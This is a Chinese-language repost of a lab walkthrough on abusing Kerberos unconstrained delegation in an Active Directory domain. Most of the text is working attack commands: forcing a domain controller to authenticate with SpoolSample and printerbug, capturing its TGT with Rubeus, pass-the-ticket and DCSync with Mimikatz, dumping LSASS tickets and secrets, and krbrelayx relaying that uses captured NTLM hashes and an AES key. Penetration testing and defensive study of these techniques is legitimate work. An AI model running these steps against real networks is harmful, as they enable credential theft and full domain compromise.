演练 | 域环境 - 无约束委派

admin 2022年3月22日22:04:35评论166 views字数 4887阅读16分17秒阅读模式
演练 | 域环境 - 无约束委派

开卷有益 · 不求甚解

演练 | 域环境 - 无约束委派

前言

Microsoft 支持用户通过 Kerberos 对一个系统进行身份验证并且信息需要在另一个系统上更新的方案实施了无约束委派。这是自 Windows 2000 以来在 Windows 生态系统中实现的。配置为无约束委派的系统会将 TGT(Ticket Granting Ticket)存储到 LSASS 内存中,以使用户能够访问最终资源。

更具体地说,域控制器将用户 TGT 的副本放入服务票证中。当用户的服务票证 (TGS) 提供给服务器以进行服务访问时,服务器打开 TGS 并将用户的 TGT 放入 LSASS 以供以后使用,从而允许服务器模拟用户。获取票证可能会导致域升级,因为票证可能属于域控制器的计算机帐户或域管理员等高权限帐户。对于代表其他服务(无约束委派)进行身份验证的计算机,需要两个条件:

  1. 帐户在用户帐户控制 (UAC) 标志中具有TRUSTED_FOR_DELEGATION标志。
  2. 用户帐户未设置NOT_DELEGATED标志,默认情况下非域帐户具有此标志。

下图表示 Active Directory 中配置为无约束委派的主机:

演练 | 域环境 - 无约束委派委托委托计算机

发现

从 PowerShell 控制台识别配置为无约束委派的系统是微不足道的。执行模块“ Get-ADComputer ”并过滤结果以显示属性“ trustedfordelegation ”的输出将确定执行操作的主机是否配置为无约束委托。

Get-ADComputer` `-Filter` `{TrustedForDelegation ``-eq` `$true` `-and` `primarygroupid ``-eq` `515}` `-Properties` `trustedfordelegation,serviceprincipalname,description

演练 | 域环境 - 无约束委派无约束委派 - 检索 Active Directory 计算机

可以列举的其他有趣的属性是:

  • TrustedToAuthForDelegation
  • msDS-AllowedToDelegateTo
  • PrincipalsAllowedToDelegateToAccount
Get-ADComputer` `"Hive"` `-Properties` `TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount

演练 | 域环境 - 无约束委派无约束委派 – 计算机属性

使用查询“ userAccountControl ”属性的相同模块可以提供相同的结果。

Get-ADComputer` `-LDAPFilter` `"(userAccountControl:1.2.840.113556.1.4.803:=524288)"

演练 | 域环境 - 无约束委派无约束委派 – 用户帐户控制

或者,PowerView中的“ Get-NetComputer ”模块可用于发现配置为无约束委派的主机。

Get-NetComputer` `-Unconstrained

演练 | 域环境 - 无约束委派无约束委派 – PowerView

强制认证

有多种协议可以强制域控制器的机器帐户与系统上的其他主机进行身份验证,例如 spoolsample 和加密文件服务远程过程调用。但是,捕获机器帐户的票证需要 Rubeus 以监控状态模式运行。

Rubeus.exe monitor /monitorinterval:10 /targetuser:DC$ /nowrap

演练 | 域环境 - 无约束委派Rubeus – TGT 监控

打印机错误的执行将强制域控制器向配置为无约束委派的工作站进行身份验证。

SpoolSample.exe dc hive

演练 | 域环境 - 无约束委派无约束委派 – SpoolSample

域控制器机器帐户的票证授予票证(TGT)将被 Rubeus 接收和捕获。

演练 | 域环境 - 无约束委派Rubeus – DC$ 机器账户票

票据将采用 base64 格式,因此不能直接使用。但是,从 PowerShell 控制台执行以下命令将转换票证并将内容写入扩展名为 .kirbi 的文件。

[IO.File]``::WriteAllBytes(``"C:Userspentestlab.PURPLEDesktopDC.kirbi"``, ``[Convert]``::FromBase64String(``"Base64"``))

演练 | 域环境 - 无约束委派将 Base64 票证转换为 Kirbi

使用 Mimikatz 中的 Pass the Ticket,当前用户帐户将在域控制器上获得高权限。这可以通过使用 DCSync 技术来验证,以便转储域管理员帐户的 NTLM 哈希并通过在域控制器上传递哈希来执行命令。

kerberos::ptt DC.kirbi
lsadump::dcsync /domain:purple.lab /user:Administrator

演练 | 域环境 - 无约束委派Mimikatz – 传票

HTTP 身份验证

域管理员使用 PowerShell 脚本在主机上执行远程任务或构建 HTTP 请求的情况并不少见,这些请求可以出于业务原因在服务器中定期执行。如果在提升凭据的上下文中执行这些脚本,Kerberos 票证也可以从 LSASS 进程中生成和提取以用于域升级。

Invoke-WebRequest http://ca.purple.lab -UseDefaultCredentials -UseBasicParsing

演练 | 域环境 - 无约束委派HTTP 请求

管理员账户的票据会被缓存到 LSASS 进程的内存中。Mimikatz 可以与这个过程进行交互,并且有一个特定的模块将尝试检索缓存的票证。

privilege::debug
sekurlsa::tickets

演练 | 域环境 - 无约束委派无约束委派 – 管理员 TGT

通过直接从 Mimikatz 执行以下命令,可以在本地导出票证。

sekurlsa::tickets /export

演练 | 域环境 - 无约束委派Mimikatz – 出口管理员票

Rubeus 的分类操作将在表格中显示存储在内存中的可用 Kerberos 票据及其相关服务。

Rubeus triage

演练 | 域环境 - 无约束委派鲁伯——分流

由于缓存中存在属于域管理员的票证,因此执行以下命令将转储该用户的所有票证。

Rubeus.exe dump /user:Administrator

演练 | 域环境 - 无约束委派Rubeus – 转储管理员票

演练 | 域环境 - 无约束委派Rubeus – 转储票

域管理员的票据可以在当前系统上使用,也可以转移到另一个主机上,以便与支持将 Kerberos 票据导入内存的 Mimikatz 或 Rubeus 一起使用。

kerberos::ptt C:[email protected]

演练 | 域环境 - 无约束委派Mimikatz – 传票

执行“ klist ”将验证票证是否已缓存在当前会话的内存中。

klist

演练 | 域环境 - 无约束委派列出 Kerberos 票证

使用ticket访问域控制器已经实现,可以通过列出C:盘的内容来确认。

dir \dc.purple.labC$

演练 | 域环境 - 无约束委派直流访问

非域加入

与包括 Kerberos 滥用在内的大多数技术一样,可以从非域加入系统执行无约束委派,因为存在复制上述执行步骤的支持工具。Impacket 有一个 python 脚本,如果提供了有效的域凭据,可用于识别域上配置为委托的系统。

python3 findDelegation.py purple.lab/pentestlab:Password1234

演练 | 域环境 - 无约束委派无约束委派 – Impacket

一旦获得管理访问权限,Impacket 模块“ secretsdump ”可用于检索其主机配置为无约束委派的机器帐户的 NTLM 哈希。

secretsdump.py [email protected]

演练 | 域环境 - 无约束委派秘密转储

演练 | 域环境 - 无约束委派Secretsdump - 机器帐户哈希

krbrelayx是一组由Dirk-Jan Mollema开发的 python 工具,可用于从基于 Linux 的系统中有效地滥用无约束委托。使用机器帐户 (HIVE$) 的 NTLM 哈希通过“ addspn ”python 脚本对活动目录进行身份验证,以绑定到域控制器并检索有关修改目标的信息。

python3 addspn.py -u purple\Hive$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab -q dc.purple.lab

演练 | 域环境 - 无约束委派krbrelayx - 添加pn

使用带有“ –additional ”标志的相同命令,机器帐户的服务主体名称将通过“ msDS-AdditionalDnsHostName ”属性修改,以包含“HOST/kali.purple.lab”服务主体名称。

python3 addspn.py -u purple\Hive$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab dc.purple.lab --additional

演练 | 域环境 - 无约束委派SPN 修改

强制域控制器的机器帐户向主机进行身份验证需要 DNS 名称而不是 IP 地址。由于攻击将从未加入域的主机执行,因此 DNS 服务器将没有任何 DNS 记录。但是,使用“ dnstool ”将通过执行以下命令在主机的域控制器上添加 DNS 记录:

python3 dnstool.py -u purple\Hive$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali.purple.lab -d 10.0.0.3 --action add dc.purple.lab

演练 | 域环境 - 无约束委派无约束委派 – DNS 记录

类似地,可以通过创建 A 记录来将 DNS 记录添加到域控制器上,以将 10.0.0.3(Kali IP 地址)解析为“ kali2.purple.lab ”。

python3 dnstool.py -u purple\Hive$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali2.purple.lab -a add -t A -d 10.0.0.3 10.0.0.1

演练 | 域环境 - 无约束委派krbrelayx – DNS 记录

执行“ nslookup ”将验证 DNS 条目,并且主机现在解析为“ kali1.purple.lab ”。

nslookup kali1.purple.lab 10.0.0.1

演练 | 域环境 - 无约束委派nslookup

krbrelayx ”可以获取先前转储的机器帐户的 AES 密钥,以便用于 Kerberos 身份验证。默认情况下将创建两个侦听器 SMB 和 HTTP。

sudo python3 krbrelayx.py -aesKey b4dc28d2ec920d4f87bc1d610f2b6e8e1114aec5135797482020893b3aad03c6

演练 | 域环境 - 无约束委派krbrelayx – 监听

下一步是强制域控制器的机器帐户向正在运行侦听器的主机进行身份验证。打印机错误 (SpoolSample) 或 PetitPotam 可以使用为无约束委派配置的机器帐户的 NTLM 哈希和侦听器正在运行的主机名。

python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 purple.lab/Hive$@dc.purple.lab kali.purple.lab

演练 | 域环境 - 无约束委派krbrelayx – 打印机错误

一旦触发身份验证,域控制器机器帐户的票证将被检索并保存在主机的缓存中。这是因为域控制器对任意主机的身份验证将使用 Kerberos 身份验证来执行。由于票证属于域控制器的提升帐户,因此已实现域升级,并且可以通过 DCSync 技术检索域哈希。

演练 | 域环境 - 无约束委派krbrelayx – Kerberos 票

参考

  • https://adsecurity.org/?p=1667


原文始发于微信公众号(甲方安全建设):演练 | 域环境 - 无约束委派

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月22日22:04:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   演练 | 域环境 - 无约束委派https://cn-sec.com/archives/836420.html

发表评论

匿名网友 填写信息